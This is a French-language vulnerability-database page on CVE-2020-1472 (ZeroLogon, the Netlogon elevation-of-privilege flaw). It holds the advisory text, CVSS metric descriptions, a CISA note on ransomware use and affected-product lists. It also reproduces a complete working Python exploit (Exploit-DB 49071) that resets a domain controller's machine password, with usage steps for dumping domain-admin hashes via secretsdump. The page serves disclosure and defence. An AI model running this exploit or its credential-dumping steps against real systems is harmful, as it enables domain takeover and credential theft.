CVE-2020-1472 : Détail

CVE-2020-1472

10
/
Critique
A02-Cryptographic Failures
96.91%V3
Network
2020-08-17
19h13 +00:00
2025-02-04
19h24 +00:00
CVE.org
NVD
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Descriptions du CVE

Netlogon Elevation of Privilege Vulnerability

An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). An attacker who successfully exploited the vulnerability could run a specially crafted application on a device on the network. To exploit the vulnerability, an unauthenticated attacker would be required to use MS-NRPC to connect to a domain controller to obtain domain administrator access. Microsoft is addressing the vulnerability in a phased two-part rollout. These updates address the vulnerability by modifying how Netlogon handles the usage of Netlogon secure channels. For guidelines on how to manage the changes required for this vulnerability and more information on the phased rollout, see How to manage the changes in Netlogon secure channel connections associated with CVE-2020-1472 (updated September 28, 2020). When the second phase of Windows updates become available in Q1 2021, customers will be notified via a revision to this security vulnerability. If you wish to be notified when these updates are released, we recommend that you register for the security notifications mailer to be alerted of content changes to this advisory. See Microsoft Technical Security Notifications.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-330 Use of Insufficiently Random Values
The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 5.5 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N/E:P/RL:O/RC:C

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Exploit Code Maturity

This metric measures the likelihood of the vulnerability being attacked, and is typically based on the current state of exploit techniques, exploit code availability, or active, “in-the-wild” exploitation.

Proof-of-Concept

Proof-of-concept exploit code is available, or an attack demonstration is not practical for most systems. The code or technique is not functional in all situations and may require substantial modification by a skilled attacker.

Remediation Level

The Remediation Level of a vulnerability is an important factor for prioritization.

Official fix

A complete vendor solution is available. Either the vendor has issued an official patch, or an upgrade is available.

Report Confidence

This metric measures the degree of confidence in the existence of the vulnerability and the credibility of the known technical details.

Confirmed

Detailed reports exist, or functional reproduction is possible (functional exploits may provide this). Source code is available to independently verify the assertions of the research, or the author or vendor of the affected code has confirmed the presence of the vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
V3.1 5.5 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V3.1 10 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Microsoft Netlogon Privilege Escalation Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Known

Ajouter le : 2021-11-02 23h00 +00:00

Action attendue : 2020-09-20 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 49071

Date de publication : 2020-11-17 23h00 +00:00
Auteur : West Shepherd
EDB Vérifié : No

# Exploit Title: ZeroLogon - Netlogon Elevation of Privilege # Date: 2020-10-04 # Exploit Author: West Shepherd # Vendor Homepage: https://www.microsoft.com # Version: Microsoft Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, Windows Server 2012, Windows Server 2008 R2 # Tested on: Microsoft Windows Server 2016 Standard x64 # CVE : CVE-2020-1472 # Credit to: Tom Tervoort for discovery and Dirk-Janm for Impacket code # Sources: https://www.secura.com/pathtoimg.php?id=2055 # Requirements: python3 and impacket 0.9.21+ (tested using this version) #!/usr/bin/env python3 import hmac, hashlib, struct, sys, socket, time, argparse, logging, codecs from binascii import hexlify, unhexlify from subprocess import check_call from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED from impacket.dcerpc.v5 import nrpc, epm, transport from impacket import crypto, version from impacket.examples import logger from Cryptodome.Cipher import AES from struct import pack, unpack from impacket.dcerpc.v5.rpcrt import DCERPCException class Exploit: def __init__( self, name='', address='', attempts=2000, password='' ): name = name.rstrip('$') self.secureChannelType = nrpc.NETLOGON_SECURE_CHANNEL_TYPE\ .ServerSecureChannel self.authenticator = self.getAuthenticator(stamp=0) self.clearNewPasswordBlob = b'\x00' * 516 self.primaryName = ('\\\\%s' % name) + '\x00' self.accountName = ('%s$' % name) + '\x00' self.computerName = name + '\x00' self.clientCredential = b'\x00' * 8 self.clientChallenge = b'\x00' * 8 self.negotiateFlags = 0x212fffff self.address = address self.max = attempts self.dce = None self.sessionKey = None self.clientStoredCredential = None self.password = password def encodePassword(self, password): if isinstance(password, str): password = password.encode('utf-8') return b'\x00' * (512 - len(password))\ + password \ + pack('<L', len(password)) def getAuthenticator(self, creds=b'\x00' * 8, stamp=10): authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = creds authenticator['Timestamp'] = stamp return authenticator def serverReqChallenge(self): try: binding = epm.hept_map( self.address, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp' ) self.dce = transport.DCERPCTransportFactory(binding).get_dce_rpc() self.dce.connect() self.dce.bind(nrpc.MSRPC_UUID_NRPC) return nrpc.hNetrServerReqChallenge( self.dce, self.primaryName, self.computerName, self.clientChallenge ) except BaseException as ex: self.logError(ex) def serverAuthenticate(self): try: auth = nrpc.hNetrServerAuthenticate3( self.dce, self.primaryName, self.accountName, self.secureChannelType, self.computerName, self.clientCredential, self.negotiateFlags ) assert auth['ErrorCode'] == 0 self.logInfo('successfully authenticated') return True except nrpc.DCERPCSessionError as ex: self.dce = None if ex.get_error_code() == 0xc0000022: return None else: self.logFail(ex.get_error_code()) except BaseException as ex: self.dce = None self.logFail(ex) self.dce = None def serverPasswordSet(self): try: return nrpc.hNetrServerPasswordSet2( self.dce, self.primaryName, self.accountName, self.secureChannelType, self.computerName, self.authenticator, self.clearNewPasswordBlob ) except BaseException as ex: self.logError(ex) def authenticate(self): self.logInfo( 'checking target, attempting to authenticate %d max attempts' % self.max ) for attempt in range(0, self.max): self.logInfo('attempt %d' % attempt) self.serverReqChallenge() self.serverAuthenticate() if self.dce is not None: break if self.dce: return True else: self.logError('failed to authenticate') def exploit(self): self.logInfo('attempting password reset') reset = self.serverPasswordSet() if reset['ErrorCode'] == 0: self.logInfo('successfully reset password') else: self.logError('failed to reset password') return self def ComputeNetlogonCredentialAES(self, challenge): return nrpc.ComputeNetlogonCredentialAES( challenge, self.sessionKey ) def logInfo(self, message): sys.stdout.write("[+] %s\n" % str(message)) return self def logError(self, message): sys.stderr.write("[-] error %s\n" % str(message)) def logFail(self, message): sys.stderr.write("[!] failure %s\n" % str(message)) sys.exit(2) def restore(self): self.logInfo('attempting to restore password') self.clientChallenge = b'12345678' try: self.primaryName = NULL challenge = self.serverReqChallenge() self.sessionKey = nrpc.ComputeSessionKeyAES( '', self.clientChallenge, challenge['ServerChallenge'] ) self.clientCredential = self.ComputeNetlogonCredentialAES( self.clientChallenge ) try: self.serverAuthenticate() except Exception as e: if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0: raise self.logInfo('restoring password') self.clientStoredCredential = pack('<Q', unpack('<Q', self.clientCredential)[0] + 10) self.authenticator = self.getAuthenticator( creds=self.ComputeNetlogonCredentialAES(self.clientStoredCredential) ) self.clearNewPasswordBlob = self.ComputeNetlogonCredentialAES( self.encodePassword(self.password) ) reset = self.serverPasswordSet() if reset['ErrorCode'] == 0: self.logInfo('successfully restored password') else: self.logError('failed to restore password') except Exception as ex: self.logError(ex) return self if __name__ == '__main__': info = """ NOTE - Exploitation will break the DC until restored, recommended guidelines: 1. Check the DC - usually ~300 attempts, use the NETBIOS name not the FQDN: cve-2020-1472.py -do check -target <NETBIOS NAME> -ip <IP> 2. Exploit the DC - this will break the DC until restored: cve-2020-1472.py -do exploit <NETBIOS NAME> -ip <IP> 3. Dump the DC - for the DA hashes, this will not contain the machine hex-pass: secretsdump.py -just-dc -no-pass <NETBIOS NAME>\$@<IP> 4. Dump the DC again - use the DA hash to get the machines hex-pass: secretsdump.py -no-pass -hashes <LMHASH>:<NTHASH> <DOMAIN>/<ADMIN>@<IP> 5. Restore target - this fixes the DC: cve-2020-1472.py -do restore -target <NETBIOS NAME> -ip <IP> -hex <HEXPASS> """ parser = argparse.ArgumentParser( description='CVE-2020-1472 ZeroLogon Exploit - Netlogon Elevation of Privilege', add_help=True ) try: parser.add_argument('-do', default='check', action='store', help='What to do (default check): [check|restore|exploit]') parser.add_argument('-target', action='store', help='NETBIOS name of target DC (not the FQDN)') parser.add_argument('-ip', action='store', help='IP address of target DC') parser.add_argument('-password', default='', action='store', help='The plaintext password to use to reset the DC') parser.add_argument('-hex', default='', action='store', help='The hex password to use to restore the DC (recommended)') parser.add_argument('-max', default=2000, action='store', help='Max attempts to authenticate with the DC (usually ~300 or less)') if len(sys.argv) < 3: parser.print_help() print(info) sys.exit(1) options = parser.parse_args() if options.do.lower() == 'check': Exploit( name=options.target, address=options.ip, attempts=int(options.max) ).authenticate() elif options.do.lower() == 'exploit': exp = Exploit( name=options.target, address=options.ip, attempts=int(options.max) ) if exp.authenticate(): exp.exploit() elif options.do.lower() == 'restore': if options.hex != '' and options.password == '': options.password = unhexlify(options.hex) if options.password != '': exp = Exploit( name=options.target, address=options.ip, password=options.password ).restore() else: parser.print_help() except Exception as error: sys.stderr.write('[-] error in main %s\n' % str(error))

Products Mentioned

Configuraton 0

Microsoft>>Windows_server_1903 >> Version *

Microsoft>>Windows_server_1909 >> Version *

Microsoft>>Windows_server_2004 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

Microsoft>>Windows_server_2019 >> Version -

Microsoft>>Windows_server_20h2 >> Version -

Configuraton 0

Fedoraproject>>Fedora >> Version 31

Fedoraproject>>Fedora >> Version 32

Fedoraproject>>Fedora >> Version 33

Configuraton 0

Opensuse>>Leap >> Version 15.1

Opensuse>>Leap >> Version 15.2

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 20.04

Configuraton 0

Synology>>Directory_server >> Version To (excluding) 4.4.5-0101

Configuraton 0

Samba>>Samba >> Version To (excluding) 4.10.18

Samba>>Samba >> Version From (including) 4.11.0 To (excluding) 4.11.13

Samba>>Samba >> Version From (including) 4.12.0 To (excluding) 4.12.7

Configuraton 0

Debian>>Debian_linux >> Version 9.0

Configuraton 0

Oracle>>Zfs_storage_appliance_kit >> Version 8.8

Références

https://www.kb.cert.org/vuls/id/490028
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.openwall.com/lists/oss-security/2020/09/17/2
Tags : mailing-list, x_refsource_MLIST
https://usn.ubuntu.com/4510-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/4510-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/4559-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://security.gentoo.org/glsa/202012-24
Tags : vendor-advisory, x_refsource_GENTOO